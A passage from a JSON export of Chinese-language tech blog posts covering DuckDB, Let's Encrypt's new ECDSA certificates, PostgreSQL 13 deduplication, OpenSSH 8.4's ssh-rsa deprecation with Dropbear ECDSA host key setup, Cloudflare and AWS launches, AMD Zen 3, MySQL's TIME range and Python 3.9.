    "body": "看到篇有趣的介紹，在講 <a href=\"https://duckdb.org/\">DuckDB</a>：「<a href=\"https://simonwillison.net/2020/Sep/19/duckdb/\">DuckDB</a>」。\r\n\r\n<blockquote>[I]t uses the PostgreSQL parser but models itself after SQLite in that databases are a single file and the code is designed for use as an embedded library, distributed in a single amalgamation C++ file (SQLite uses a C amalgamation).</blockquote>\r\n\r\n看起來是個以 <a href=\"https://en.wikipedia.org/wiki/OLAP\">OLAP</a> 為中心而設計出來的資料庫，然後在 <a href=\"https://www.python.org/\">Python</a> 下可以直接透過 <a href=\"https://pypi.org/project/pip/\">pip</a> 裝起來。\r\n\r\n看起來像是個用單機拼 throughput 的東西，但提供大家熟悉的界面。\r\n\r\n在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上可以看到「<a href=\"https://news.ycombinator.com/item?id=24531085\">DuckDB – An embeddable SQL database like SQLite, but supports Postgres features (duckdb.org)</a>」這邊給了不少方向，",
    "title": "DuckDB"
  },
  {
    "id": "9721",
    "body": "<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 弄了新的 Root Certificate 與 Intermediate Certificate：「<a href=\"https://letsencrypt.org/2020/09/17/new-root-and-intermediates.html\">Let's Encrypt's New Root and Intermediate Certificates</a>」。\r\n\r\n一方面是本來的 Intermediate Certificate 也快要要過期了，另外一方面是要利用 <a href=\"https://en.wikipedia.org/wiki/ECDSA\">ECDSA</a> 降低傳輸時的頻寬成本：\r\n\r\n<blockquote>On Thursday, September 3rd, 2020, Let’s Encrypt issued six new certificates: one root, four intermediates, and one cross-sign. These new certificates are part of our larger plan to improve privacy on the web, by making ECDSA end-entity certificates widely available, and by making certificates smaller.</blockquote>\r\n\r\n本來有 Let's Encrypt Authority {X1,X2,X3,X4} 四組 Intermediate Certificate，都是 RSA 2048 bits。\r\n\r\n其中 X1 與 X2 差不多都到期了 (cross-signed 的已經過了，自家 ISRG Root X1 簽的剩不到一個月)，不過這兩組已經沒在用了，這次就不管他了。\r\n\r\n而 X3 與 X4 這兩組則是明年到期，會產生出新的 Intermediate Certificate，會叫做 R3 與 R4，跟之前一樣會被自家 ISRG Root X1 簽，以及 IdenTrust DST Root CA X3 簽：\r\n\r\n<blockquote>For starters, we’ve issued two new 2048-bit RSA intermediates which we’re calling R3 and R4. These are both issued by ISRG Root X1, and have 5-year lifetimes. They will also be cross-signed by IdenTrust. They’re basically direct replacements for our current X3 and X4, which are expiring in a year. We expect to switch our primary issuance pipeline to use R3 later this year, which won’t have any real effect on issuance or renewal.</blockquote>\r\n\r\n然後是本次的重頭戲，會弄出一個新的 Root Certificate，叫做 ISRG Root X2，以及兩個 Intermediate Certificate，叫做 E1 與 E2：\r\n\r\n<blockquote>The other new certificates are more interesting. First up, we have the new ISRG Root X2, which has an ECDSA P-384 key instead of RSA, and is valid until 2040. Issued from that, we have two new intermediates, E1 and E2, which are both also ECDSA and are valid for 5 years.</blockquote>\r\n\r\n主要的目的就是降低 TLS 連線時的 bandwidth，這次的設計預期可以降低將近 400 bytes：\r\n\r\n<blockquote>While a 2048-bit RSA public key is about 256 bytes long, an ECDSA P-384 public key is only about 48 bytes. Similarly, the RSA signature will be another 256 bytes, while the ECDSA signature will only be 96 bytes. Factoring in some additional overhead, that’s a savings of nearly 400 bytes per certificate. Multiply that by how many certificates are in your chain, and how many connections you get in a day, and the bandwidth savings add up fast.</blockquote>\r\n\r\n另外一個特別的修改是把名字改短 (把「Let's Encrypt Authority」拿掉)，也是為了省傳輸的成本：\r\n\r\n<blockquote>As an aside: since we’re concerned about certificate sizes, we’ve also taken a few other measures to save bytes in our new certificates. We’ve shortened their Subject Common Names from “Let’s Encrypt Authority X3” to just “R3”, relying on the previously-redundant Organization Name field to supply the words “Let’s Encrypt”. We’ve shortened their Authority Information Access Issuer and CRL Distribution Point URLs, and we’ve dropped their CPS and OCSP urls entirely. All of this adds up to another approximately 120 bytes of savings without making any substantive change to the useful information in the certificate.</blockquote>\r\n\r\n這個部份讓我想到之前寫的「<a href=\"https://blog.gslin.org/archives/2019/12/21/9344/%E7%9C%81%E9%A0%BB%E5%AF%AC%E7%9A%84%E6%96%B9%E6%B3%95%EF%BC%9A%E7%B5%82%E6%A5%B5%E7%89%88%E6%9C%AC/\">省頻寬的方法：終極版本...</a>」這篇，裡面提到 <a href=\"https://aws.amazon.com/\">AWS</a> 自家的 SSL Certificate 太胖，改用 <a href=\"https://www.digicert.com/\">DigiCert</a> 的反而可以省下不少錢 XDDD\r\n\r\n另外也提到了這次 cross-sign 的部份是對 ECDSA Root Certificate 簽 (ISRG Root X2)，而不是對 ECDSA Intermediate Certificate 簽 (E1 與 E2)，主因是不希望多一次切換的轉移期：\r\n\r\n<blockquote>In the end, we decided that providing the option of all-ECDSA chains was more important, and so opted to go with the first option, and cross-sign the ISRG Root X2 itself.</blockquote>\r\n\r\n這算是蠻重要的進展，看起來各家 client 最近應該都會推出新版支援。",
    "title": "Let's Encrypt 生了新的 Root 與 Intermediate Certificate"
  },
  {
    "id": "9723",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://pganalyze.com/blog/postgres13-better-performance-monitoring-usability\">Lessons Learned from Running Postgres 13: Better Performance, Monitoring &amp; More</a>」這篇文章，其中有提到 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 13 因為 B-Tree 支援 deduplication，所以有機會縮小不少空間。\r\n\r\n搜了一下源頭是「<a href=\"https://git.postgresql.org/gitweb/?p=postgresql.git;a=commit;h=0d861bbb702f8aa05c2a4e3f1650e7e8df8c8c27\">Add deduplication to nbtree.</a>」這個 git commit，而 PostgreSQL 官方的說明則是在「<a href=\"https://www.postgresql.org/docs/13/btree-implementation.html#BTREE-DEDUPLICATION\">63.4.2. Deduplication</a>」這邊可以看到。\r\n\r\n另外值得一提的是，這個功能在 <a href=\"https://www.postgresql.org/docs/13/sql-createindex.html\">CREATE INDEX</a> 這頁可以看到在 PostgreSQL 13 預設會打開使用。\r\n\r\n依照說明，看起來本來的機制是當 B-Tree index 內的 key 相同時，像是 <code>key1</code> = <code>key2</code> = <code>key3</code> 這樣，他會存 <code>{key1, ptr1}</code>、<code>{key2, ptr2}</code> 與 <code>{key3, ptr3}</code>。\r\n\r\n在新的架構下開啟 deduplication 後就會變成類似 <code>{key1, [ptr1, ptr2, ptr3]}</code> 這樣的結構。可以看出來在 key 重複的資料很多的時候，可以省下大量空間 (以術語來說的話，就是 cardinality 偏低的時候)。\r\n\r\n這樣看起來可以降低不少壓力...",
    "title": "PostgreSQL 13 的 B-Tree Deduplication"
  },
  {
    "id": "9724",
    "body": "看到「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/09/aws-ground-station-now-available-cape-town/\">AWS Ground Station is now available in the Africa (Cape Town) Region</a>」這邊的消息，<a href=\"https://aws.amazon.com/ground-station/\">AWS Ground Station</a> 可以在南非區使用。\r\n\r\n這是南半球第二個點 (第一個是雪梨)：\r\n\r\n<blockquote>AWS Ground Station is available today in US West (Oregon), US East (Ohio), Middle East (Bahrain), EU (Stockholm), Asia Pacific (Sydney), EU (Ireland), and Africa (Cape Town) with more regions coming soon.</blockquote>\r\n\r\n如果以補 coverage 的角度來看，南美與東北亞 (東京或是南韓) 應該也有機會？",
    "title": "AWS Ground Station 多了南非區可以打"
  },
  {
    "id": "9725",
    "body": "<a href=\"https://aws.amazon.com/transcribe/\">Amazon Transcribe</a> 是 <a href=\"https://aws.amazon.com/\">AWS</a> 推出語音轉文字的服務，先前只有提供 <a href=\"https://en.wikipedia.org/wiki/WAV\">WAV</a>、<a href=\"https://en.wikipedia.org/wiki/FLAC\">FLAC</a>、<a href=\"https://en.wikipedia.org/wiki/MP3\">MP3</a> 與 <a href=\"https://en.wikipedia.org/wiki/MP4\">MP4</a> 格式，現在則是多支援不少格式：\r\n\r\n<blockquote>Today, we are excited to announce native support for media files in AMR, AMR-WB, Ogg and WebM format by Amazon Transcribe.</blockquote>\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Adaptive_Multi-Rate_audio_codec\">AMR</a> 與 <a href=\"https://en.wikipedia.org/wiki/AMR-WB\">AMR-WB</a> 以前還蠻常看到的，最近比較少看到了，可能是專利加上選擇性多之後用的人就變少了。\r\n\r\n再來是 <a href=\"https://en.wikipedia.org/wiki/Ogg\">Ogg</a> 與 <a href=\"https://en.wikipedia.org/wiki/WebM\">WebM</a> 兩個都是開放格式。\r\n\r\n上次拿 Amazon Transcribe 測日文的影片，先用 <a href=\"https://ffmpeg.org/\">FFmpeg</a> 把 MP4 檔內的 audio track 抽出來再丟上去轉，轉完後用 <a href=\"https://github.com/andyhopp/aws-transcribe-to-srt\">andyhopp/aws-transcribe-to-srt</a> 把 Amazon Transcribe 輸出的 JSON 再轉成 SRT 檔，就辨識正確度測起來算是堪用，但專有名詞 (像是人名) 就得另外處理，不過比什麼都沒有好不少...",
    "title": "Amazon Transcribe 可以吃其他格式了"
  },
  {
    "id": "9727",
    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 新增加了四個點，兩個在墨西哥，兩個在紐西蘭：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/09/amazon-cloudfront-launches-in-two-new-countries-mexico-and-new-zealand/\">Amazon CloudFront launches in two new countries - Mexico and New Zealand</a>」。\r\n\r\n比較特別的是墨西哥的點仍然是被併入北美區的價錢，也就是 CloudFront 裡面最低的那組價錢：\r\n\r\n<blockquote>In Mexico, our two new edge locations in Querétaro will provide viewers as much as a 30% reduction in p90 latency measures. These new edge locations are priced within CloudFront’s North America geographic region.</blockquote>\r\n\r\n所以這代表在墨西哥當地的網路成本跟美國是一樣低？",
    "title": "Amazon CloudFront 增加墨西哥與紐西蘭的點"
  },
  {
    "id": "9728",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到這款工具，可以在 Windows 上把拆出多個畫面，並且提供給不同的鍵盤與滑鼠使用：「<a href=\"https://universalsplitscreen.github.io/\">Universal Split Screen</a>」，而且是 open source 專案 (使用 <a href=\"https://en.wikipedia.org/wiki/MIT_License\">MIT License</a>)，程式碼在 <a href=\"https://github.com/UniversalSplitScreen/UniversalSplitScreen\">UniversalSplitScreen/UniversalSplitScreen</a> 這邊。\r\n\r\n理論上只要不是太吃資源的遊戲，應該都適合這個方法搞 (從他列出來的遊戲列表看起來，似乎都不會太吃 CPU 與顯卡)。\r\n\r\n另外在想是不是也可以拿給其他用途使用，像是 <a href=\"https://en.wikipedia.org/wiki/PuTTY\">PuTTY</a> 之類的程式？",
    "title": "在一台電腦上多畫面與多鍵盤滑鼠操作遊戲：Universal Split Screen"
  },
  {
    "id": "9729",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://mosermichael.github.io/duckduckbang/html/main.html\">metasearch based on duckduckgo !bang commands</a>」這邊才發現 <a href=\"https://duckduckgo.com/\">DuckDuckGo</a> 的 <a href=\"https://duckduckgo.com/bang\">!bang</a> 原來這麼多，這多到之後可以直接猜應該都會中...\r\n\r\n然後這頁內容多到慢到會卡，3700X 有這麼差嗎... XDDD",
    "title": "DuckDuckGo 的 !bang"
  },
  {
    "id": "9730",
    "body": "在「<a href=\"https://blog.cloudflare.com/nts-is-now-rfc/\">NTS is now an RFC</a>」這邊看到 Network Time Security 成為 <a href=\"https://en.wikipedia.org/wiki/Internet_Engineering_Task_Force\">IETF</a> 的標準了：「<a href=\"https://www.rfc-editor.org/rfc/rfc8915.html\">Network Time Security for the Network Time Protocol</a>」。\r\n\r\n這個標準比較特別的是，因為 TLS 裡對 certificate 的驗證需要先有正確的時間，而導致 NTP 直接套用 TLS 會有「<a href=\"https://zh.wikipedia.org/wiki/%E5%85%88%E6%9C%89%E9%B8%A1%E8%BF%98%E6%98%AF%E5%85%88%E6%9C%89%E8%9B%8B\">先有雞還是先有蛋</a>」這樣的問題出現。這點在「8.5. Initial Verification of Server Certificates」這個章節裡面被討論到：\r\n\r\n<blockquote>However, the expectation that the client does not yet have a correctly-set system clock at the time of certificate verification presents difficulties with verifying that the certificate is within its validity period, i.e., that the current time lies between the times specified in the certificate's notBefore and notAfter fields.</blockquote>\r\n\r\n看起來還是頗複雜，但至少先給個方法出來了...",
    "title": "Network Time Security 正式成為 IETF 標準"
  },
  {
    "id": "9731",
    "body": "這幾天 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 丟出蠻多東西的，挑一些比較想寫下來的來寫，其中一個是他們的 serverless platform 又提供另外一種 database 了：「<a href=\"https://blog.cloudflare.com/introducing-workers-durable-objects/\">Workers Durable Objects Beta: A New Approach to Stateful Serverless</a>」。\r\n\r\n先前的產品是 eventually-consistent database (放掉 <a href=\"https://en.wikipedia.org/wiki/CAP_theorem\">CAP theorem</a> 裡面的 C)，也就是 <a href=\"https://developers.cloudflare.com/workers/learning/how-kv-works\">Workers KV</a>，這次提供的是 strong consisteny 版本的 database，叫做 Workers Durable Objects。\r\n\r\n目前還沒看到文件，網站上的 Products 裡只放了 Workers KV 的，目前只能就敘述上猜。\r\n\r\n以 blog 文章的敘述看起來是保護了 C 的部份，但不知道是放掉 AP 裡面哪個，也許是 A 的部份，因為文章裡一直都沒提到 high availability。\r\n\r\n看起來是個有趣的產品，之後等更多文件出來的時候再研究。",
    "title": "Cloudflare 推出 Workers Durable Objects"
  },
  {
    "id": "9732",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 推出了 Cron Triggers，有兩篇說明：「<a href=\"https://blog.cloudflare.com/introducing-cron-triggers-for-cloudflare-workers/\">Introducing Cron Triggers for Cloudflare Workers</a>」、「<a href=\"https://blog.cloudflare.com/cron-triggers-for-scheduled-workers/\">Making Time for Cron Triggers: A Look Inside</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/9fVF2uk.gif\" alt=\"\" />\r\n\r\n底層架構上是用 <a href=\"https://www.nomadproject.io/\">Nomad</a> 做的：\r\n\r\n<blockquote>To consume the schedules and actually trigger the Worker, we built a new service in Rust and deployed to our edge using HashiCorp Nomad. Nomad ensures that the schedule runner remains running in the edge node and can move it between machines as necessary.</blockquote>\r\n\r\n多了定時跑程式的能力後，整個 serverless 平台的拼圖又多了一塊，現在看起來應該是要發展 storage 與 database-like 系統...",
    "title": "Cloudflare 推出 Cron Triggers"
  },
  {
    "id": "9733",
    "body": "前幾天 <a href=\"https://www.openssh.com/\">OpenSSH</a> 8.4 釋出了：「<a href=\"https://lists.mindrot.org/pipermail/openssh-unix-announce/2020-September/000140.html\">Announce: OpenSSH 8.4 released</a>」。\r\n\r\n比較重要的改變是 <code>ssh-rsa</code> 預設變成停用，因為是使用 <a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a> 演算法的關係：\r\n\r\n<blockquote>It is now possible[1] to perform chosen-prefix attacks against the SHA-1 algorithm for less than USD$50K. For this reason, we will be disabling the \"ssh-rsa\" public key signature algorithm by default in a near-future release.</blockquote>\r\n\r\n官方給了三個方案：\r\n\r\n<ul>\r\n\t<li>The RFC8332 RSA SHA-2 signature algorithms rsa-sha2-256/512. These algorithms have the advantage of using the same key type as \"ssh-rsa\" but use the safe SHA-2 hash algorithms. These have been supported since OpenSSH 7.2 and are already used by default if the client and server support them.</li>\r\n\t<li>The ssh-ed25519 signature algorithm. It has been supported in OpenSSH since release 6.5.</li>\r\n\t<li>The RFC5656 ECDSA algorithms: ecdsa-sha2-nistp256/384/521. These have been supported by OpenSSH since release 5.7.</li>\r\n</ul>\r\n\r\n掃了一下 <code>~/.ssh/known_hosts</code>，看起來目前大多都是 <code>ssh-ed25519</code> 了，還有少數還是 <code>ssh-rsa</code>。\r\n\r\n翻了一下 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 這邊的版本，16.04 是 7.2p2，看起來目前有支援的版本都可以用這三個。\r\n\r\n官方有提到可以在 command 上強制關閉 <code>ssh-rsa</code> 測試的方法：\r\n\r\n<pre>ssh -oHostKeyAlgorithms=-ssh-rsa user@host</pre>\r\n\r\n現在看起來比較麻煩的是 <a href=\"https://en.wikipedia.org/wiki/Dropbear_(software)\">Dropbear</a> 的部份，我自己之前是有包 PPA 來用 (2019.78)，但看起來還是不夠新支援 <code>ssh-ed25519</code> (要今年六月的 2020.79 才支援)，所以也許要找時間來把 PPA 更新到 2020.80...\r\n\r\n另外一種方法是走 <code>ecdsa-sha2-nistp{256,384,521}</code> 這些演算法，不過從名字就可以知道裡面演算法的由來，卡個 <a href=\"https://www.nist.gov/\">NIST</a> 在那邊看起來就不太舒服，但還是寫一下方法好了：\r\n\r\n先用 dropbearkey 產生對應的 ecdsa host key：\r\n\r\n<pre>sudo dropbearkey -t ecdsa -f /etc/dropbear/dropbear_ecdsa_host_key -s 256</pre>\r\n\r\n再來在 <code>/etc/default/dropbear</code> 裡面把 <code>DROPBEAR_EXTRA_ARGS</code> 加上對應的 ecdsa host key 資訊，這邊直接用 <code>-r</code> 是因為他可以重複指定，不會影響到其他的 host key 設定：\r\n\r\n<pre># any additional arguments for Dropbear\r\nDROPBEAR_EXTRA_ARGS=\"-r /etc/dropbear/dropbear_ecdsa_host_key\"</pre>\r\n\r\n然後重跑 dropbear 就可以了。\r\n\r\n另外有興趣的人可以用 <code>ssh -Q key</code> 看 openssh client 支援的演算法。",
    "title": "OpenSSH 8.4 預設停用 ssh-rsa"
  },
  {
    "id": "9734",
    "body": "<a href=\"https://www.wikimedia.org/\">Wikimedia</a> 收到通報，有一個使用者變身成其他使用者，目前調查仍在進行中，但合理的保護措施包括了將所有使用者都 logout (也就包括了維基百科)：「<a href=\"https://lists.wikimedia.org/pipermail/wikitech-l/2020-October/093922.html\">Logging everyone out</a>」。\r\n\r\n事件的後續追蹤在「<a href=\"https://phabricator.wikimedia.org/T264370\">User authentication security issue (Oct 1)</a>」這張 ticket 進行中，裡面有看到另外一張 ticket 被提到：「<a href=\"https://phabricator.wikimedia.org/T263177\">1.36.0-wmf.11 deployment blockers</a>」，但目前看起來還沒有完全確認相關性...\r\n\r\n目前只能先等看看了，只能說還在進行中...",
    "title": "Wikimedia 的安全性事件"
  },
  {
    "id": "9735",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的，原文標題比較漂亮：「<a href=\"https://privpapers.ssrn.com/sol3/papers.cfm?abstract_id=3665046\">Car Seats as Contraception</a>」，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上也有討論：「<a href=\"https://news.ycombinator.com/item?id=24647487\">Car seats as contraception (ssrn.com)</a>」，重點是作者之一 (David H. Solomon) 也有跑上去回應。\r\n\r\nAbstract 的部份把重點都講出來了，1977 年美國通過汽車的兒童安全座椅法律，但大多數的汽車無法放下第三張座椅，這反而使得生第三胎的成本大幅提高 (需要買空間更大的車)，然後另外拉出資料分析因為法律而制止的車禍數量：\r\n\r\n<blockquote>Since 1977, U.S. states have passed laws steadily raising the age for which a child must ride in a car safety seat. These laws significantly raise the cost of having a third child, as many regular-sized cars cannot fit three child seats in the back. Using census data and state-year variation in laws, we estimate that when women have two children of ages requiring mandated car seats, they have a lower annual probability of giving birth by 0.73 percentage points. Consistent with a causal channel, this effect is limited to third child births, is concentrated in households with access to a car, and is larger when a male is present (when both front seats are likely to be occupied). We estimate that these laws prevented only 57 car crash fatalities of children nationwide in 2017. Simultaneously, they led to a permanent reduction of approximately 8,000 births in the same year, and 145,000 fewer births since 1980, with 90% of this decline being since 2000.</blockquote>\r\n\r\n濃濃的政治不正確感 XD",
    "title": "美國汽車的兒童安全座椅法律，影響生育的意願"
  },
  {
    "id": "9736",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 針對 Image Resizing 增加了 <a href=\"https://en.wikipedia.org/wiki/AVIF\">AVIF</a> 的支援：「<a href=\"https://blog.cloudflare.com/generate-avif-images-with-image-resizing/\">Introducing support for the AVIF image format</a>」。\r\n\r\n<blockquote>We've added support for the new AVIF image format in Image Resizing.</blockquote>\r\n\r\n照 comment 的地方看起來是 Business 功能，之後有機會下放到 Pro，但免費版應該不會出現：\r\n\r\n<blockquote>Kornel  Ian K Homan • 15 hours ago\r\nThis is part of the Image Resizing feature, which is currently available for Business plans. It's coming to Polish in the near future, which is a Pro plan feature.</blockquote>\r\n\r\n這跟「<a href=\"https://blog.gslin.org/archives/2020/08/24/9671/chrome-85-%e6%94%af%e6%8f%b4-avif/\">Chrome 85 支援 AVIF</a>」應該有些關係，加上其他瀏覽器也陸陸續續打算要支援，是個先做不虧的感覺...",
    "title": "Cloudflare 也要支援 AVIF"
  },
  {
    "id": "9737",
    "body": "在 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 的「<a href=\"https://blog.cloudflare.com/speeding-up-https-and-http-3-negotiation-with-dns/\">Speeding up HTTPS and HTTP/3 negotiation with... DNS</a>」這篇裡面提到了一個新的標準 (目前是 draft)：「<a href=\"https://tools.ietf.org/html/draft-ietf-dnsop-svcb-https-01\">Service binding and parameter specification via the DNS (DNS SVCB and HTTPS RRs)</a>」。\r\n\r\n從文件上可以看到這個標準是由 <a href=\"https://www.google.com/\">Google</a> 與 <a href=\"https://www.akamai.com/\">Akamai</a> 的人提出來的，想要透過 DNS 的方式告訴瀏覽器這個網站可以直接用 HTTPS 連線 (以及其他資訊)。\r\n\r\n這樣有兩個好處，第一個是安全性上的好處，<a href=\"https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security\">HSTS</a> 只保證了第二次以及之後的連線會強制用 HTTPS，但不能保證第一次連線時是 HTTPS。透過 DNS 查到後可以第一次就用 HTTPS 連線。\r\n\r\n第二個是效能上的好處，降低了一個 3xx redirect 的時間，雖然 DNS 多了一些查詢，但 DNS 查詢這邊通常會比 TCP connection 建立連線來說快不少，再加上 HTTP protocol 需要先等瀏覽器端送出 HTTP header 後才有回應，這樣應該是快蠻多的。\r\n\r\n文章裡有提到 iOS 14 好像有開始在嘗試，但我好像沒看到其他資料：\r\n\r\n<blockquote>We began investigating and found these to be a part of Apple’s iOS14 beta release where they were testing out a new SVCB/HTTPS record type.</blockquote>\r\n\r\n先繼續觀望看看標準怎麼發展...",
    "title": "讓瀏覽器直接連 HTTPS 的 SVCB/HTTPS"
  },
  {
    "id": "9739",
    "body": "這幾年 <a href=\"https://www.intel.com/\">Intel</a> 在 CPU 市場上被 <a href=\"https://www.amd.com/\">AMD</a> 打的不是很像樣，但因為單核效能高不少 (看起來是利用高時脈拼)，勉強在遊戲市場上還能打 (程式最佳化問題 XD)。\r\n\r\n但前幾天蘇媽家發表了新的 CPU，看起來這次 AMD 十一月要推出的 Ryzen 5000 系列 (<a href=\"https://en.wikipedia.org/wiki/Zen_3\">Zen 3</a> 架構) 會打破這個平衡：「<a href=\"https://www.anandtech.com/show/16148/amd-ryzen-5000-and-zen-3-on-nov-5th-19-ipc-claims-best-gaming-cpu\">AMD Ryzen 5000 and Zen 3 on Nov 5th: +19% IPC, Claims Best Gaming CPU</a>」。\r\n\r\n官方宣稱每個 clock 會有 19% 的效能成長，這表示在單顆核心上面的速度會增加：\r\n\r\n<blockquote>The key element of the new product is the core design, with AMD’s latest Zen 3 microarchitecture, promising a 19% raw increase in performance-per-clock, well above recent generational improvements.</blockquote>\r\n\r\n不過看了一下，同樣是 8c16t 的規格下，<a href=\"https://en.wikipedia.org/wiki/Zen_2\">Zen 2</a> 的 3700X 只要 65W，但同樣規格到 Zen 3 上就到了 5800X 的 105W，但一路上到 16c32t 的 5950X 也都還是 105W 就是了...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/IFdcI0c.webp\" /><img src=\"https://i.gslin.com/imgur/IFdcI0c.png\" alt=\"\" /></picture>\r\n\r\n3700X 的頻率是 3.6/4.4 (Base/Turbo)，對比的 5800X 則上拉一些到 3.8/4.7，而頂規 5850X 則是幹到了 3.4/4.9，這離 Intel 的 5.2 愈來愈近了。\r\n\r\n另外官方分析的 19% 是這些累積出來的：\r\n\r\n<blockquote>+2.7% Cache Prefetching\r\n+3.3% Execution Engine\r\n+1.3% Branch Predictor\r\n+2.7% Micro-op Cache\r\n+4.6% Front End\r\n+4.6% Load/Store</blockquote>\r\n\r\n對市場是個好消息，而且還是 <a href=\"https://en.wikipedia.org/wiki/Socket_AM4\">AM4</a> 腳位，現有主機板有推出韌體更新就有機會直接支援...\r\n\r\n等真的有評測的時候再來看看各個吃 CPU 的遊戲的情況...",
    "title": "AMD 的 Ryzen 5000 系列"
  },
  {
    "id": "9740",
    "body": "這篇算是考古文，找出 <a href=\"https://dev.mysql.com/\">MySQL</a> 裡 <code>TIME</code> 資料型態奇怪範圍的由來：「<a href=\"https://gbl08ma.com/time-for-a-wtf-mysql-moment/\">TIME for a WTF MySQL moment</a>」。\r\n\r\n在官方的文件裡面可以看到 <code>TIME</code> 的範圍是個奇怪的數字，如果把各版本的文件都拉出來看，會發現都沒改過：「<a href=\"https://dev.mysql.com/doc/refman/8.0/en/time.html\">11.2.3 The TIME Type</a> (8.0)」、「<a href=\"https://dev.mysql.com/doc/refman/5.7/en/time.html\">11.2.3 The TIME Type</a> (5.7)」、「<a href=\"https://dev.mysql.com/doc/refman/5.6/en/time.html\">11.2.3 The TIME Type</a> (5.6)」，「<a href=\"https://web.archive.org/web/20190221110419/https://dev.mysql.com/doc/refman/5.5/en/time.html\">11.3.2 The TIME Type</a> (5.5，靠 Internet Archive 的存檔頁面)」、「<a href=\"https://web.archive.org/web/20160502031605/https://dev.mysql.com/doc/refman/5.1/en/time.html\">11.3.2 The TIME Type</a> (5.1，靠 Internet Archive 的存檔頁面)」、「<a href=\"https://web.archive.org/web/20160409115450/https://dev.mysql.com/doc/refman/5.0/en/time.html\">11.3.2 The TIME Type</a> (5.0，靠 Internet Archive 的存檔頁面)」，裡面一直都是：\r\n\r\n<blockquote>TIME values may range from '-838:59:59' to '838:59:59'.</blockquote>\r\n\r\n這個數字看起來應該是某個限制，但作者粗粗算了幾種可能都不像，所以就一路考古，發現算是在 MySQL 3 年代因為某個特別公式留下來的遺毒，就一路用到現在了：\r\n\r\n<blockquote>One of the bits was used for the sign as well, but the remaining 23 bits were an integer value produced like this: Hours × 10000 + Minutes × 100 + Seconds; in other words, the two least significant decimal digits of the number contained the seconds, the next two contained the minutes, and the remaining ones contained the hours. 2<sup>23</sup> is 83888608, i.e. 838:86:08, therefore, the maximum valid time in this format is 838:59:59.</blockquote>\r\n\r\n話說回來，用 MySQL 的人還是很習慣用 <code>INT</code> 跟 <code>BIGINT</code> 來存時間，這樣可以自動遠離這些鳥問題，之前在「<a href=\"https://blog.gslin.org/archives/2014/01/31/4209/mysql-%E8%A3%A1%E5%84%B2%E5%AD%98%E6%99%82%E9%96%93%E7%9A%84%E6%96%B9%E5%BC%8F/\">MySQL 裡儲存時間的方式...</a>」與「<a href=\"https://blog.gslin.org/archives/2017/10/04/7607/facebook-%E5%9C%A8-mysql-%E8%A3%A1%E5%AD%98%E6%99%82%E9%96%93%E7%9A%84%E5%9E%8B%E6%85%8B/\">Facebook 在 MySQL 裡存時間的型態</a>」這邊都寫過...\r\n\r\n不過最近用 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 比較多，可以比較「正常」的使用各種資料型態...",
    "title": "MySQL 的 TIME 範圍"
  },
  {
    "id": "9741",
    "body": "<a href=\"https://www.python.org/\">Python</a> 3.9.0 出了：「<a href=\"https://pythoninsider.blogspot.com/2020/10/python-390-is-now-available-and-you-can.html\">Python 3.9.0 is now available, and you can already test 3.10.0a1!</a>」。\r\n\r\n下一個版本是 3.10 而非 Python 4：\r\n\r\n<blockquote>OK, boring! Where is Python 4?\r\n\r\nNot so fast! The next release after 3.9 will be 3.10. It will be an incremental improvement over 3.9, just as 3.9 was over 3.8, and so on.</blockquote>\r\n\r\n在「<a href=\"https://docs.python.org/release/3.9.0/whatsnew/3.9.html\">What’s New In Python 3.9</a>」裡面的「<a href=\"https://docs.python.org/release/3.9.0/whatsnew/3.9.html#optimizations\">Optimizations</a>」這段有測一些基本操作的效能，可以看到 Python 3.9 其實比 Python 3.8 慢了一些？好像也沒有提到原因就是了...",
    "title": "Python 3.9.0 以及 3.10.0a1"
  },
  {
    "id": "9742",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到 <a href=\"https://en.wikipedia.org/wiki/PlayStation_5\">PS5</a> 的拆解影片：「<a href=\"https://www.youtube.com/watch?v=CaAY-jAjm0w\">PS5 Teardown: An up-close and personal look at the console hardware</a>」。\r\n\r\n本來想說這種東西為什麼會上 Hacker News Daily，是有拆出什麼有趣的東西嗎... 後來看到一半才注意到這是 <a href=\"https://www.sony.com/\">Sony</a> 官方丟出來的影片，不是第三方拆機開箱影片 XDDD\r\n\r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/CaAY-jAjm0w\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\r\n\r\n然後回頭看發現這是 Sony 家的 VP 出來拍的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oryxE4A.webp\" /><img src=\"https://i.gslin.com/imgur/oryxE4A.png\" alt=\"\" /></picture>\r\n\r\n基本上是個官方拆機指南，雖然影片開頭有警告自行拆機會有風險以及保固問題 XD",
    "title": "Sony 放出 PS5 拆解影片..."
  },
  {
    "id": "9743",
